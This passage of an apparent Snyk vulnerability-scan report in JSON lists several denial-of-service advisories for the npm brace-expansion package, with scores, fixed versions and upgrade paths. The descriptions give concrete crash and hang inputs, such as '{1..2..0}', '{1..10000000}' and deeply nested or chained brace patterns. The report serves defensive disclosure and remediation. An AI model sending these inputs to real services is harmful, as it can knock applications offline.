"2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching 